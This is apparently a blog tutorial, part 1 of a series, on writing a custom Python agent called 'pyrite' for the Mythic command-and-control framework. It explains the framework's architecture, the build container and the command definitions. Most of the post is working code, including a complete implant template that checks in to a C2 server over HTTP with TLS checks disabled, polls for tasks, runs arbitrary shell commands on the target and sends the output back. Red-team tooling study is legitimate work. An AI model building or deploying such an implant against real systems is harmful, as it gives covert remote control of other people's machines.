Mythic - Developing Custom Agent - Part 1 Architecture & Your First HTTP Callback

Series Overview:

• Part 1 (this post): Mythic architecture, folder layout, builder.py, and your first check-in/task loop over HTTP
• Part 2: Upgrading to HTTPS with the httpx profile
• Part 3: Translation containers — speaking a custom binary protocol
• Part 4: Designing your own wire protocol
• Part 5: Building a custom C2 profile from scratch

Why Another Mythic Agent Guide?

The Mythic documentation is thorough, but it assumes you already have a mental model of how all the pieces fit together. The handful of existing guides target C or C++ agents where a translation container is mandatory just to get JSON talking. Python is a great starting point because the agent can speak Mythic's native JSON directly — no translator needed in Part 1 — letting you see the full message loop clearly before adding complexity.

By the end of this series you will have:

• A working Python agent (pyrite) registered in Mythic with a shell command
• HTTPS comms via the httpx profile
• A custom binary protocol bridged by a translation container
• A fully custom C2 profile you wrote yourself
• A lot of cred goes to Red Team SNCF for their excellent writeup

All code is written for Mythic 3.3 / mythic-container PyPI ≥ 0.4.x.

How to create your own mythic agent in C

A blog post to explain how to create a mythic agent with low level language like C.

Red Team SNCFZkClown & Ze_Asimovitch

1. Mythic Architecture in Plain English

Mythic is a docker-compose cluster of microservices. The ones you care about as an agent developer are:

┌─────────────────────────────────────────────────────────────┐
│                       Mythic Server                         │
│  ┌──────────┐  ┌──────────┐  ┌────────────┐  ┌─────────┐   │
│  │PostgreSQL│  │RabbitMQ  │  │React UI    │  │Mythic   │   │
│  │(state)   │  │(message  │  │(operator   │  │backend  │   │
│  │          │  │ bus)     │  │ console)   │  │(golang) │   │
│  └──────────┘  └──────────┘  └────────────┘  └─────────┘   │
└─────────────────────────────────────────────────────────────┘
         ▲ RabbitMQ + gRPC             ▲ gRPC
         │                             │
┌─────────────────┐           ┌────────────────────┐
│  Payload Type   │           │   C2 Profile        │
│  Container      │           │   Container         │
│  (pyrite)       │           │   (http / httpx)    │
│  - builder.py   │           │   - server.py       │
│  - commands/    │           │   - config params   │
│  - translator/  │           │                     │
└─────────────────┘           └────────────────────┘
                                        ▲ HTTP/S
                                        │
                              ┌─────────────────┐
                              │   Your Agent    │
                              │   (pyrite.py)   │
                              │   running on    │
                              │   target host   │
                              └─────────────────┘

Key facts:

• Your agent binary/script (the implant) never talks directly to Mythic's backend. It talks to a C2 profile container (e.g. http) over whatever protocol that profile implements.
• The C2 profile container forwards messages to the Mythic backend over RabbitMQ.
• Your payload type container (the Docker service you write) handles: registering the agent with Mythic, building payloads, and defining commands.
• Agent messages are JSON blobs, base64-encoded, with the callback/payload UUID prepended.
• Running `python3 main.py` starts the **container service** — it registers pyrite with Mythic as an available payload type but does not create a callback. A callback only appears once you generate a payload and run the resulting implant on a target.

The three message actions you need to implement in the agent are:

2. Project Layout

Mythic provides a sample container at: https://github.com/MythicMeta/ExampleContainers.git

Git clone that repository and then install the following pip package

pip install mythic-container

Mythic states that inside Payload_Type there are two folders, one for Golang and one for Python depending on which language you prefer to code your agent definitions in, and that this choice is about the language used to define commands and parameters. https://docs.mythic-c2.net/customizing/payload-type-development#2-0-starting-with-an-example

For our example, we will use Python to define the agent definitions. You can delete the golang folder. We'll name our agent pyrite (your folder structure should look something like this):

pyrite/                             ← container root (what mythic-cli installs)
├── Dockerfile
├── main.py
├── config.json                     ← tells mythic-cli what to install
├── rabbitmq_config.json            ← local dev only, not shipped
└── pyrite/                         ← Python package (same name as agent)
    ├── __init__.py
    ├── agent_functions/            ← SERVER-SIDE: Mythic UI definitions
    │   ├── __init__.py
    │   ├── builder.py              ← payload type + build logic
    │   ├── shell.py                ← CommandBase + TaskArguments for shell
    │   ├── exit.py                 ← CommandBase + TaskArguments for exit
    │   └── pyrite.svg              ← agent icon shown in Mythic UI
    └── agent_code/                 ← IMPLANT-SIDE: code that runs on the target
        ├── pyrite_agent.py         ← base agent (checkin/tasking loop)
        ├── shell.py                ← shell command implementation
        └── exit.py                 ← exit command implementation

There are two completely separate sets of files here with different purposes:

agent_functions/ contains server-side Python that runs inside the Mythic container. It defines the Mythic UI popup, argument validation, and the create_go_tasking preprocessing logic. This code never runs on the target.

agent_code/ contains the actual implant code that runs on the target machine. The base agent (pyrite_agent.py) handles the checkin/tasking loop, and each command has its own file with the execution logic. At build time, builder.py reads these files and stitches them together into the final payload.

config.json tells `mythic-cli` which sections of the repo to install. Since we only have a payload type (no C2 profile, no documentation, no agent icons folder), set it to:

{
    "exclude_payload_type": false,
    "exclude_c2_profiles": true,
    "exclude_documentation_payload": true,
    "exclude_documentation_c2": true,
    "exclude_agent_icons": true
}

3. The Dockerfile

FROM itsafeaturemythic/mythic_python_base:latest

WORKDIR /Mythic/

RUN pip install requests

CMD ["python3", "main.py"]

The mythic_python_base image ships with Python 3.11 and the mythic_container PyPI package already installed. The Dockerfile installs the entire pyrite/ folder into the container image so Mythic can manage it as a persistent Docker service.

You do not need Docker for local development and testing. Running python3 main.py directly from the container root is sufficient to connect your payload type container to Mythic, as long as rabbitmq_config.json has the correct credentials. Copy the rabbitmq_password value from your Mythic server's .env file:

# On the Mythic server
grep RABBITMQ_PASSWORD Mythic/.env

# Paste that value into pyrite/rabbitmq_config.json
{
  "rabbitmq_host": "127.0.0.1",
  "rabbitmq_password": "<value from .env>",
  "mythic_server_host": "127.0.0.1",
  "debug_level": "debug"
}

The two workflows are:

4. main.py — Starting the Service

# main.py  (lives at the container root, alongside Dockerfile)
import mythic_container
import pyrite  # triggers pyrite/__init__.py which auto-imports all agent_functions/

mythic_container.mythic_service.start_and_run_forever()

Importing pyrite executes pyrite/__init__.py, which globs agent_functions/*.py and imports every file it finds, registering all PayloadType and CommandBase subclasses in memory. This means adding a new command is just a matter of dropping a new .py file into agent_functions/ — no changes to main.py required.

start_and_run_forever() connects to RabbitMQ, syncs all registered classes to Mythic, and blocks indefinitely. Every time you restart this process Mythic re-syncs automatically.

5. pyrite/__init__.py — Auto-importing Commands

Mythic discovers commands by scanning for CommandBase subclasses that have been imported into memory. The __init__.py handles this automatically so you don't have to manually add each new command file to main.py.

This pattern comes directly from the ExampleContainers repo:

# pyrite/__init__.py
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys

currentPath = Path(__file__)
searchPath  = currentPath.parent / "agent_functions" / "*.py"
modules     = glob.glob(f"{searchPath}")

invalidate_caches()

for x in modules:
    if not x.endswith("__init__.py") and x[-3:] == ".py":
        module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
        for el in dir(module):
            if "__" not in el:
                globals()[el] = getattr(module, el)

sys.path.append(os.path.abspath(currentPath.name))

Three things this does that a minimal version would miss:

invalidate_caches() — tells Python's import machinery to re-scan for newly discovered modules. Inside a Docker container, modules may be written to disk after the interpreter started. Without this call, import_module can silently fail to find a module that exists on disk but hasn't been registered in the import cache yet.

globals()[el] = getattr(module, el) — exports every non-dunder name from each command module into the pyrite package's global namespace. This means CommandBase subclasses like ShellCommand are reachable as pyrite.ShellCommand, which is how mythic_container locates registered subclasses at sync time.

sys.path.append(...) — appends the package directory to sys.path, ensuring relative imports within agent_functions/ resolve correctly regardless of how the container is invoked.

6. builder.py — Payload Type Definition

This is the most important file in the container. It tells Mythic everything about your agent: what OS it targets, which C2 profiles it supports, build parameters, and how to actually create a payload file.

# pyrite/agent_functions/builder.py
import logging
import pathlib
import json

from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class Pyrite(PayloadType):
    # ── Identity ──────────────────────────────────────────────────────────
    name = "pyrite"
    file_extension = "py"
    author = "@yourhandle"
    supported_os = [SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    wrapper = False
    wrapped_payloads = []
    note = "Simple Python3 agent for demonstrating Mythic agent development."
    supports_dynamic_loading = True          # allows operator to select a subset of commands at build time
    mythic_encrypts = False         # Part 1: plaintext. Changed to True in Part 2.
    translation_container = None    # Added in Part 3

    # ── Build Parameters ───────────────────────────────────────────────────
    build_parameters = [
        BuildParameter(
            name="version",
            parameter_type=BuildParameterType.String,
            description="Agent version string",
            default_value="0.1.0",
            required=False,
        ),
    ]

    # ── Supported C2 Profiles ──────────────────────────────────────────────
    c2_profiles = ["http"]

    # ── Paths ──────────────────────────────────────────────────────────────
    agent_path      = pathlib.Path(".") / "pyrite"
    agent_icon_path = agent_path / "agent_functions" / "pyrite.svg"
    agent_code_path = agent_path / "agent_code"

    # ── Build Steps ────────────────────────────────────────────────────────
    # Drives the progress bar in the Mythic UI during payload generation.
    # Each step must be explicitly marked success/failure via
    # SendMythicRPCPayloadUpdatebuildStep() inside build().
    build_steps = [
        BuildStep(
            step_name="Gathering Files",
            step_description="Reading agent template from disk",
        ),
        BuildStep(
            step_name="Configuring",
            step_description="Stamping C2 parameters into the agent source",
        ),
    ]

    async def build(self) -> BuildResponse:
        """
        Called by Mythic every time an operator clicks 'Generate Payload'.

        self.uuid     — payload UUID assigned by Mythic; sent on first checkin
        self.c2info   — list of C2ProfileParameters objects (one per profile)
        self.commands — set of commands included in this build
        """
        resp = BuildResponse(status=BuildStatus.Success)

        # ── Step 1: Read template and command files ────────────────────────
        try:
            # Read the base agent template
            agent_source = open(self.agent_code_path / "pyrite_agent.py", "r").read()

            # Concatenate all command implementation files from agent_code/.
            # Each file (except pyrite_agent.py) contains the execution logic
            # for one command that runs on the target.
            command_code = ""
            for cmd in self.commands.get_commands():
                cmd_file = self.agent_code_path / f"{cmd}.py"
                try:
                    command_code += open(cmd_file, "r").read() + "\n"
                except FileNotFoundError:
                    pass  # command has no agent-side implementation file

            # Insert command code before the COMMAND_MAP in the base agent
            agent_source = agent_source.replace(
                "# ─────────────────────────────────────────────────────────────────────────────\n# Command Dispatch",
                command_code + "\n# ─────────────────────────────────────────────────────────────────────────────\n# Command Dispatch"
            )

            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Gathering Files",
                    StepStdout="Read agent template and command files successfully",
                    StepSuccess=True,
                )
            )
        except Exception as e:
            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Gathering Files",
                    StepStdout=str(e),
                    StepSuccess=False,
                )
            )
            resp.set_status(BuildStatus.Error)
            resp.build_stderr = f"Failed to read agent template: {e}"
            return resp

        # ── Step 2: Stamp parameters ───────────────────────────────────────
        try:
            if len(self.c2info) != 1:
                raise ValueError(f"Expected 1 C2 profile, got {len(self.c2info)}")

            params = self.c2info[0].get_parameters_dict()

            # AESPSK is returned as a dict {"enc_key": "...", "dec_key": "..."}
            # when mythic_encrypts=True. For Part 1 (plaintext) it will be empty.
            aespsk_raw = params.get("AESPSK", "")
            aespsk = aespsk_raw.get("enc_key", "") if isinstance(aespsk_raw, dict) else (aespsk_raw or "")

            replacements = {
                "REPLACE_CALLBACK_HOST":     str(params.get("callback_host", "http://127.0.0.1")),
                "REPLACE_CALLBACK_PORT":     str(params.get("callback_port", 80)),
                "REPLACE_CALLBACK_INTERVAL": str(params.get("callback_interval", 10)),
                "REPLACE_CALLBACK_JITTER":   str(params.get("callback_jitter", 23)),
                "REPLACE_USER_AGENT":        str(params.get("USER_AGENT", "Mozilla/5.0")),
                # The http profile returns post_uri as "/data" (with leading slash).
                # The template already prepends "/" to the token, so strip it here
                # to avoid producing "//data".
                "REPLACE_POST_URI":          str(params.get("post_uri", "/data")).lstrip("/"),
                "REPLACE_PAYLOAD_UUID":      str(self.uuid),
                "REPLACE_AESPSK":            aespsk,
            }

            for token, value in replacements.items():
                agent_source = agent_source.replace(token, value)

            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Configuring",
                    StepStdout="Stamped all C2 parameters into agent source",
                    StepSuccess=True,
                )
            )
            resp.payload = agent_source.encode()
            resp.build_message = "Pyrite built successfully."

        except Exception as e:
            await SendMythicRPCPayloadUpdatebuildStep(
                MythicRPCPayloadUpdateBuildStepMessage(
                    PayloadUUID=self.uuid,
                    StepName="Configuring",
                    StepStdout=str(e),
                    StepSuccess=False,
                )
            )
            resp.set_status(BuildStatus.Error)
            resp.build_stderr = f"Configuration failed: {e}"

        return resp

Key things to note:

supports_dynamic_loading — per the Mythic payload type definition docs, setting this to True means the operator can select a subset of commands when generating a payload. Mythic will show a command selection step in the payload generation UI. Setting it to False means all commands are always included with no choice given to the operator.

When supports_dynamic_loading = True, self.commands.get_commands() inside build() returns only the commands the operator actually selected. This is exactly what our Step 1 iterates over when concatenating agent_code/{cmd}.py files — so only the selected commands get stitched into the payload. This is the same pattern used in the ExampleContainers basic_python_agent builder. — Without build_steps the Mythic UI shows no progress during payload generation. Each step must be explicitly ticked via the RPC call with StepSuccess=True/False. If a step fails, mark it false and return early.

Star imports — Use from mythic_container.PayloadBuilder import * and from mythic_container.MythicRPC import *. Selective imports can silently miss re-exported names like BuildStep, MythicRPCPayloadUpdateBuildStepMessage, and SendMythicRPCPayloadUpdatebuildStep.

agent_icon_path — Must point to a real .svg file. A non-existent path causes a sync error. At minimum use a placeholder:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" fill="#e5a000"/></svg>

AESPSK is a dict, not a string — When mythic_encrypts=True and an operation key exists, params.get("AESPSK") returns {"enc_key": "...", "dec_key": "..."}. Always check isinstance(val, dict) and extract enc_key.

mythic_encrypts — per the Mythic docs, True means Mythic handles AES-256 encryption on the agent's messages automatically. False signals to Mythic that the agent or its translation container will handle its own encryption.

We set it to False in Part 1 deliberately as a temporary debugging choice — with no encryption on the wire, you can base64-decode traffic in Wireshark or a proxy and read the raw JSON directly, which makes it much easier to verify the checkin and tasking loop is working correctly before adding any complexity.

The progression across the series is:

This means in Part 2 we get Mythic-managed encryption for free with a one-line change, and the agent code itself never needs to change. In Part 3 we take back control as part of implementing our own binary protocol.

resp.build_stderr not resp.error_message — BuildResponse exposes build_stderr for error output. error_message does not exist and will be silently ignored.

7. Server-Side Commands — agent_functions/

What is CommandBase?

Per the Mythic commands docs:

CommandBase defines the metadata about the command as well as any pre-processing functionality that takes place before the final command is ready for the agent to process.

TaskArguments does two things: defines the parameters the command needs, and verifies/parses the user-supplied arguments into their proper components.

Every file in agent_functions/ (except builder.py) defines one command as two classes: a TaskArguments subclass that describes and parses the parameters, and a CommandBase subclass that describes the command metadata and contains create_go_tasking. When Mythic syncs your container at startup it scans for all CommandBase subclasses and registers each one as an available command for your agent.

The key attributes on CommandBase are:

agent_functions/shell.py

# pyrite/agent_functions/shell.py
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class ShellArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = [
            CommandParameter(
                name="command",
                type=ParameterType.String,
                description="Shell command to execute on the target",
            ),
        ]

    async def parse_arguments(self):
        """
        Called when the operator submits free text in the terminal,
        e.g. typing: shell whoami
        self.command_line is the raw string after the command name.
        """
        if len(self.command_line) == 0:
            raise ValueError("Must supply a command to run")
        self.add_arg("command", self.command_line)

    async def parse_dictionary(self, dictionary_arguments):
        """
        Called when the operator submits via the popup modal form.
        Mythic passes a dict of {parameter_name: value} pairs.
        """
        self.load_args_from_dictionary(dictionary_arguments)


class ShellCommand(CommandBase):
    cmd = "shell"
    needs_admin = False
    help_cmd = "shell <command>"
    description = "Execute a shell command and return stdout/stderr."
    version = 1
    author = "@yourhandle"
    argument_class = ShellArguments
    attackmapping = ["T1059"]
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    )

    async def create_go_tasking(
        self, taskData: PTTaskMessageAllData
    ) -> PTTaskCreateTaskingMessageResponse:
        # Set DisplayParams so the UI shows "whoami" next to the task
        # instead of the raw JSON blob {"command": "whoami"}
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            DisplayParams=taskData.args.get_arg("command"),
        )
        return response

    async def process_response(
        self, task: PTTaskMessageAllData, response: any
    ) -> PTTaskProcessResponseMessageResponse:
        resp = PTTaskProcessResponseMessageResponse(
            TaskID=task.Task.ID,
            Success=True,
        )
        return resp

Note the addition of DisplayParams to create_go_tasking. Without it, the Mythic UI shows the raw JSON {"command": "whoami"} next to the task in the callbacks table. Setting DisplayParams=taskData.args.get_arg("command") makes it show the human-readable whoami instead. Per the create tasking docs, this lets you leverage the JSON structure server-side for processing while still giving operators a clean view.

Note on create_tasking vs create_go_tasking: You may see create_tasking(self, task: MythicTask) in older agents like Medusa. Per the Mythic create tasking docs: "create_go_tasking is new in Mythic v3.0.0. Prior to this, there was the create_tasking function. The new change supports backwards compatibility, but the new function provides a lot more information and structured context that's not available in the create_tasking function." Use create_go_tasking for any new agent.

agent_functions/exit.py

Without an exit command there is no way to terminate the agent through Mythic — the only option would be killing the process on the target directly. The supported_ui_features = ["callback_table:exit"] attribute tells Mythic to wire this command up to the exit button in the callbacks table.

# pyrite/agent_functions/exit.py
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *


class ExitArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = []

    async def parse_arguments(self):
        pass

    async def parse_dictionary(self, dictionary_arguments):
        pass


class ExitCommand(CommandBase):
    cmd = "exit"
    needs_admin = False
    help_cmd = "exit"
    description = "Terminate the agent process."
    version = 1
    author = "@yourhandle"
    argument_class = ExitArguments
    attackmapping = []
    supported_ui_features = ["callback_table:exit"]   # wires up the exit button in the UI
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Linux, SupportedOS.Windows, SupportedOS.MacOS]
    )

    async def create_go_tasking(
        self, taskData: PTTaskMessageAllData
    ) -> PTTaskCreateTaskingMessageResponse:
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
        )
        return response

    async def process_response(
        self, task: PTTaskMessageAllData, response: any
    ) -> PTTaskProcessResponseMessageResponse:
        resp = PTTaskProcessResponseMessageResponse(
            TaskID=task.Task.ID,
            Success=True,
        )
        return resp

8. Implant-Side Commands — agent_code/

Each command has a corresponding file in agent_code/ containing the actual execution logic that runs on the target. builder.py reads these files and concatenates them into the final payload alongside the base agent.

agent_code/shell.py

# pyrite/agent_code/shell.py
import subprocess


def execute_shell(command: str) -> str:
    try:
        result = subprocess.run(
            command, shell=True, capture_output=True, text=True, timeout=60,
        )
        output = result.stdout
        if result.stderr:
            output += "\n[stderr]\n" + result.stderr
        return output if output else "(no output)"
    except subprocess.TimeoutExpired:
        return "[error] Command timed out after 60 seconds."
    except Exception as e:
        return f"[error] {e}"

agent_code/exit.py

# pyrite/agent_code/exit.py
import os


def execute_exit() -> None:
    os._exit(0)

os._exit(0) is used rather than sys.exit() because sys.exit() raises SystemExit which can be caught by exception handlers in the tasking loop. os._exit() terminates the process immediately at the OS level.

Understanding create_go_tasking and process_response

These two functions represent the server-side lifecycle of a task inside your payload type container. They are not part of the agent implant — they run inside the Docker container on the Mythic server.

Operator types command
        │
        ▼
  TaskArguments.parse_arguments() / parse_dictionary()
  (validates and structures the input)
        │
        ▼
  create_go_tasking()        ← runs BEFORE the agent sees the task
  (task is in "preprocessing" state)
        │
        ▼
  Task queued for agent
        │
        ▼
  Agent calls get_tasking, executes, calls post_response
        │
        ▼
  process_response()         ← runs AFTER the agent sends output back
  (optional — only if agent sends a "process_response" key)

create_go_tasking

Per the Mythic create tasking docs, this function is called when an operator submits a task, while the task is still in the "preprocessing" state — meaning it has not yet been queued for the agent. This is your opportunity to:

• Validate or modify parameters before the agent sees them (e.g. taskData.args.add_arg("key", "value"))
• Make RPC calls to Mythic to look up existing data (file IDs, callback info, etc.)
• Set DisplayParams to show a human-readable version of the args in the UI instead of the raw JSON blob
• Mark the task Completed=True to prevent the agent from ever receiving it (useful for script-only commands that run entirely server-side)
• Set CommandName to redirect the task to a different command name on the agent side

taskData is a PTTaskMessageAllData object. The docs describe its full structure at the MythicContainerPyPi source. The fields you'll use most often are:

The minimum valid implementation — which is all pyrite needs for a simple shell command — just returns success:

async def create_go_tasking(
    self, taskData: PTTaskMessageAllData
) -> PTTaskCreateTaskingMessageResponse:
    response = PTTaskCreateTaskingMessageResponse(
        TaskID=taskData.Task.ID,
        Success=True,
    )
    return response

If Success=False you must also set Error to a string — Mythic will surface this to the operator and the task will not be sent to the agent.

process_response

Per the Mythic process response docs, this function is called when the agent sends back a post_response message that contains a process_response key. It is not called for normal user_output responses — those are handled directly by Mythic. It is only invoked when the agent deliberately routes output through the container for custom server-side processing.

The agent would signal this by including a process_response key in its response:

{
    "action": "post_response",
    "responses": [{
        "task_id": "some-uuid",
        "process_response": {"myown": "data format"}
    }]
}

Mythic ships that process_response value to your container asynchronously and in parallel — it does not wait for your function to finish before responding to the agent. This makes it suitable for "fire and forget" operations like registering artifacts, keylogs, or custom data, but not for anything where the agent needs a result back (like file transfers or SOCKS).

For pyrite's shell command the agent just sends plain user_output, so process_response does nothing. The base implementation satisfies the interface requirement:

async def process_response(
    self, task: PTTaskMessageAllData, response: any
) -> PTTaskProcessResponseMessageResponse:
    resp = PTTaskProcessResponseMessageResponse(
        TaskID=task.Task.ID,
        Success=True,
    )
    return resp

9. The Agent Template — pyrite_agent.py

This file lives at pyrite/agent_code/pyrite_agent.py and is the base agent. It handles the checkin/tasking loop. Command implementations live in their own separate files in agent_code/. The builder.py stitches them all together at build time into a single payload file.

Verify your template has the correct tokens before generating a payload:

grep "REPLACE_" pyrite/agent_code/pyrite_agent.py
# Should show 8 lines — one per token

#!/usr/bin/env python3
"""
pyrite_agent.py — Pyrite implant for Mythic C2 (Part 1: HTTP, plaintext)

THIS IS A TEMPLATE. The REPLACE_* tokens are substituted at build time
by builder.py. Do not replace them with real values here.
"""

import base64
import json
import os
import platform
import random
import socket
import subprocess
import sys
import time
import traceback

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    import urllib.request
    import urllib.error
    requests = None

# ── Configuration — substituted by builder.py ─────────────────────────────────
CALLBACK_HOST     = "REPLACE_CALLBACK_HOST"
CALLBACK_PORT     = REPLACE_CALLBACK_PORT
CALLBACK_INTERVAL = REPLACE_CALLBACK_INTERVAL
CALLBACK_JITTER   = REPLACE_CALLBACK_JITTER
USER_AGENT        = "REPLACE_USER_AGENT"
POST_URI          = "/REPLACE_POST_URI"      # builder strips leading / from profile value
PAYLOAD_UUID      = "REPLACE_PAYLOAD_UUID"
AESPSK            = "REPLACE_AESPSK"

# ── Globals ────────────────────────────────────────────────────────────────────
CALLBACK_UUID = None
BASE_URL      = f"{CALLBACK_HOST}:{CALLBACK_PORT}"


# ─────────────────────────────────────────────────────────────────────────────
# Message Encoding / Decoding
# ─────────────────────────────────────────────────────────────────────────────

def encode_message(uuid_str: str, data: dict) -> bytes:
    """
    Mythic plaintext wire format:
        Base64( UUID(36 bytes UTF-8) + JSON(data) )
    """
    body = json.dumps(data).encode("utf-8")
    raw  = uuid_str.encode("utf-8") + body
    return base64.b64encode(raw)


def decode_message(response_bytes: bytes) -> dict:
    """
    Per the Mythic agent message format docs, the response is:
        Base64( UUID(36 bytes) + JSON(response) )
    Strip the UUID prefix and parse the JSON body.
    """
    raw  = base64.b64decode(response_bytes)
    body = raw[36:]
    return json.loads(body)


# ─────────────────────────────────────────────────────────────────────────────
# HTTP Transport
# ─────────────────────────────────────────────────────────────────────────────

def http_post(path: str, data: bytes) -> bytes:
    url     = f"{BASE_URL}{path}"
    headers = {"User-Agent": USER_AGENT}
    if requests:
        resp = requests.post(url, data=data, headers=headers, verify=False, timeout=30)
        return resp.content
    else:
        req = urllib.request.Request(url, data=data, headers=headers, method="POST")
        with urllib.request.urlopen(req, timeout=30) as resp:
            return resp.read()


def send_message(uuid_str: str, payload: dict) -> dict:
    encoded  = encode_message(uuid_str, payload)
    raw_resp = http_post(POST_URI, encoded)
    return decode_message(raw_resp)


# ─────────────────────────────────────────────────────────────────────────────
# Checkin
# ─────────────────────────────────────────────────────────────────────────────

def get_ip() -> str:
    try:
        return socket.gethostbyname(socket.gethostname())
    except Exception:
        return "127.0.0.1"


def do_checkin() -> str:
    """
    Send initial checkin to Mythic and return the callbackUUID.

    Format per docs:
    Base64( PayloadUUID + JSON({ "action": "checkin", ... }) )
    """
    arch = "x64" if sys.maxsize > 2**32 else "x86"
    try:
        user = os.getlogin()
    except Exception:
        user = os.environ.get("USER", os.environ.get("USERNAME", "unknown"))

    checkin_data = {
        "action":          "checkin",
        "ip":              get_ip(),
        "os":              platform.platform(),
        "user":            user,
        "host":            socket.gethostname(),
        "pid":             os.getpid(),
        "uuid":            PAYLOAD_UUID,
        "architecture":    arch,
        "domain":          "",
        "integrity_level": 2,
        "external_ip":     "",
        "encryption_key":  "",
        "decryption_key":  "",
    }

    response = send_message(PAYLOAD_UUID, checkin_data)
    if response.get("status") == "success":
        return response["id"]
    else:
        raise RuntimeError(f"Checkin failed: {response}")


# ─────────────────────────────────────────────────────────────────────────────
# Task Loop
# ─────────────────────────────────────────────────────────────────────────────

def get_tasking() -> list:
    """
    Format per docs:
    Base64( CallbackUUID + JSON({ "action": "get_tasking", "tasking_size": 1 }) )
    """
    msg = {"action": "get_tasking", "tasking_size": 1}
    return send_message(CALLBACK_UUID, msg).get("tasks", [])


def post_response(task_id: str, output: str, completed: bool = True) -> None:
    """
    Format per docs:
    Base64( CallbackUUID + JSON({
        "action": "post_response",
        "responses": [{ "task_id": "...", "user_output": "...", "completed": true, "status": "success" }]
    }) )
    """
    msg = {
        "action": "post_response",
        "responses": [{
            "task_id":     task_id,
            "user_output": output,
            "completed":   completed,
            "status":      "success",
        }],
    }
    send_message(CALLBACK_UUID, msg)


def post_error(task_id: str, error_msg: str) -> None:
    # Per the post_response docs, status strings starting with "error:" turn
    # the status label red in the Mythic UI. Any other string appears blue.
    # user_output holds the full error body; status is the short label.
    msg = {
        "action": "post_response",
        "responses": [{
            "task_id":     task_id,
            "user_output": error_msg,
            "completed":   True,
            "status":      "error: " + error_msg,
        }],
    }
    send_message(CALLBACK_UUID, msg)


# ─────────────────────────────────────────────────────────────────────────────
# Command Dispatch
# ─────────────────────────────────────────────────────────────────────────────
# Command implementations are in separate files in agent_code/ and are
# concatenated into this file at build time by builder.py.
# Each command exposes a single function that takes the parsed parameter
# value and returns a string result (or None for commands like exit).

COMMAND_MAP = {
    "shell": execute_shell,
    "exit":  execute_exit,
}


def dispatch_task(task: dict) -> None:
    task_id    = task["id"]
    command    = task["command"]
    raw_params = task.get("parameters", "")

    # Per the Mythic get_tasking docs, parameters is always a JSON string
    # encoding the args dict — e.g. '{"command": "whoami"}'.
    # Parse it and extract by the parameter name defined in the server-side
    # agent_functions/ file for this command.
    # If parameters is empty (command takes no args), default to empty dict.
    try:
        parsed = json.loads(raw_params) if raw_params else {}
    except json.JSONDecodeError:
        post_error(task_id, f"Failed to parse task parameters: {raw_params!r}")
        return

    handler = COMMAND_MAP.get(command)
    if handler is None:
        post_error(task_id, f"Unknown command: {command}")
        return

    try:
        if command == "exit":
            post_response(task_id, "Exiting.")
            handler()
        else:
            post_response(task_id, handler(parsed.get("command", "")))
    except Exception:
        post_error(task_id, traceback.format_exc())


# ─────────────────────────────────────────────────────────────────────────────
# Sleep with Jitter
# ─────────────────────────────────────────────────────────────────────────────

def sleep_with_jitter(base_seconds: int, jitter_pct: int) -> None:
    jitter_range = base_seconds * (jitter_pct / 100.0)
    actual = base_seconds + random.uniform(-jitter_range, jitter_range)
    time.sleep(max(actual, 0.5))


# ─────────────────────────────────────────────────────────────────────────────
# Main Loop
# ─────────────────────────────────────────────────────────────────────────────

def main():
    global CALLBACK_UUID

    while True:
        try:
            CALLBACK_UUID = do_checkin()
            break
        except Exception:
            time.sleep(CALLBACK_INTERVAL)

    while True:
        try:
            tasks = get_tasking()
            for task in tasks:
                dispatch_task(task)
        except Exception:
            pass

        sleep_with_jitter(CALLBACK_INTERVAL, CALLBACK_JITTER)


if __name__ == "__main__":
    main()

Key things to note about the agent template:

Tokens are unquoted for numeric values — CALLBACK_PORT = REPLACE_CALLBACK_PORT has no surrounding quotes. After substitution this becomes CALLBACK_PORT = 80 (an integer literal). Quoted numeric tokens produce strings that silently break URL construction and sleep arithmetic.

POST_URI = "/REPLACE_POST_URI" — The leading slash lives in the template. The builder strips any leading slash from the profile's post_uri value before substitution to avoid producing //data.

parameters is always a JSON string — Per the Mythic get_tasking docs, the parameters field in a task is always a JSON-encoded string of the args dict, e.g. '{"command": "whoami"}'. The agent must json.loads() it and extract by parameter name. The key "command" matches the CommandParameter(name="command", ...) defined in shell.py.

status field values in post_response — Per the Mythic post_response docs, status is a free-form string with the following UI behavior:

This is why post_error uses "error: " + error_msg rather than the bare string "error" — only the "error:" prefix triggers the red colorings. The user_output field holds the full error body displayed below the task; status is just the short label shown next to it.

11. Installing and Testing

11.1 Start Mythic

git clone https://github.com/its-a-feature/Mythic
cd Mythic
make
sudo ./mythic-cli start

Navigate to https://localhost:7443 and log in with the credentials printed on first start.

11.2 Install the http Profile

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

11.3 Install pyrite

sudo ./mythic-cli install folder ./pyrite
sudo ./mythic-cli logs pyrite

You should see:

[*] Processing agent: pyrite
[*] Processing command shell
[+] Synced pyrite with Mythic

11.4 Generate a Payload

1. In the Mythic UI go to Payloads → Generate New Payload
2. Select pyrite, OS = Linux
3. Select the http C2 profile
4. Set callback_host to your Mythic server IP (e.g. http://192.168.1.10)
5. Click Create Payload and download the .py file

There is no AESPSK field because mythic_encrypts = False. This is intentional for Part 1.

11.5 Run the Agent

python3 pyrite_<uuid>.py

